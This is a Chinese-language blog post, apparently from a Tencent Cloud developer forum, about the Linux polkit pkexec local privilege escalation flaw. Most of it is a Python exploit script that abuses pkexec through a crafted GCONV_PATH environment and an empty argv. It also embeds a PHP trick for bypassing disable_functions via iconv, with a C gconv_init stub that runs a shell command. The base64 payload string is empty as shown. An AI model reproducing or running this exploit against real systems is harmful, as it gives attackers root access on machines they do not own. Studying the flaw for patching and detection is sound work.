Linux Polkit 本地提权漏洞
cvss评分 7.8 高危
polkit的pkexec 存在本地权限提升漏洞 已获得普通权限的攻击者可以通过此漏洞提权至root权限
polkit 常见的linux发行版 都有 polkit模块 deepin开发的 dde-polkit-agent 遵守 freedesktop规范
polkit是linux系统中一个身份认证管理工具 用法 pkexec /usr/bin/ls pkexec 二进制可执行文件
因为polkit是系统自带的工具 主流linux版本均受影响
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile
payload = zlib.decompress(
base64.b64decode(
""""""
)
)
libc = CDLL(find_library("c"))
# ctypes提供了两个LibraryLoader:CDLL和WinDLL
# CDLL支持__cdecl,WinDLL支持__stdcall(仅限Windows)
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t
wd = tempfile.mkdtemp()
# tempfile 模块 生成临时文件和临时目录
# tempfile 模块还提供了 tempfile.mkstemp() 和 tempfile.mkdtemp() 两个低级别的函数
# 高级别的函数支持自动清理,可以与 with 语句一起使用,低级别函数则不支持,一般推荐使用高级别的函数来创建临时文件和临时目录
open(wd + "/pwn.so", "wb").write(payload)
# 将payload写入 pwn.so中
os.mkdir(wd + "/gconv/")
# 创建目录
open(wd + "/gconv/gconv-modules", "w").write(
"module UTF-8// INTERNAL ../pwn 2"
)
# 写入
os.mkdir(wd + "/GCONV_PATH=.")
# 创建目录
'''
关于GCONV_PATH的相关知识
php在执行iconv函数时,实际上调用glibc中的iconv相关函数,其中有个函数叫 iconv_open(),
GCONV_PATH 是 linux系统的一个环境变量,这个环境变量可以让 glibc使用用户自己定义的 gconv-modules 文件
module 自定义字符集名字大写// INTERNAL ../../../../tmp/自定义字符集名字小写 2
过程
1. 设定GCONV_PATH 指向 gconv-modules 文件
2. 执行php的iconv函数 ,本质是调用 glibc的 iconv_open 函数
3. iconv_open 函数 依照 GCONV_PATH 找到 gconv-modules 文件
4. 根据 gconv-modules 文件 指示找到 参数对应的so文件
5. 调用so文件中的 gconv() gonv_init() 其中是我们想要执行的命令
#include <stdio.h>
#include <stdlib.h>
void gconv(){}
void gconv_init(){
system("id");
}
gcc 1.c -o 自定义字符集名.so -shared -fPIC
shell.php
<?php
putenv("GCONV_PATH=/tmp/");
iconv("自定义字符集名","UTF-8","whatever");
?>
bypass disable_function
https://blog.csdn.net/qq_42303523/article/details/117911859
'''
os.mknod(wd + "/GCONV_PATH=./gconv")
# 创建特殊文件
'''
mknod name {b|c} major minor
mknod name {p}
创建FIFO 已命名的管道
mknod dev/null c 1 3
mknod dev/zero c 1 5
mknod dev/random c 1 8
b 表示特殊文件是面向块的设备 磁盘 软盘 磁带
c 表示特殊文件是面向字符的设备 其他设备
p 创建 FIFO 已命名的管道
'''
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
# 修改权限
os.chdir(wd)
# 改变目录
cmd = b"/usr/bin/pkexec"
# └─$ pkexec --version 127 ⨯
# pkexec version 0.105
# └─$ pkexec 127 ⨯
# pkexec --version |
# --help |
# --disable-internal-agent |
# [--user username] PROGRAM [ARGUMENTS...]
# See the pkexec manual page for more details.
argv = []
envp = [
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b"",
]
cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)
# 执行
https://nosec.org/home/detail/4959.html https://blog.csdn.net/qq_38402294/article/details/121388917 https://www.freedesktop.org/software/polkit/docs/latest/pkexec.1.html
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。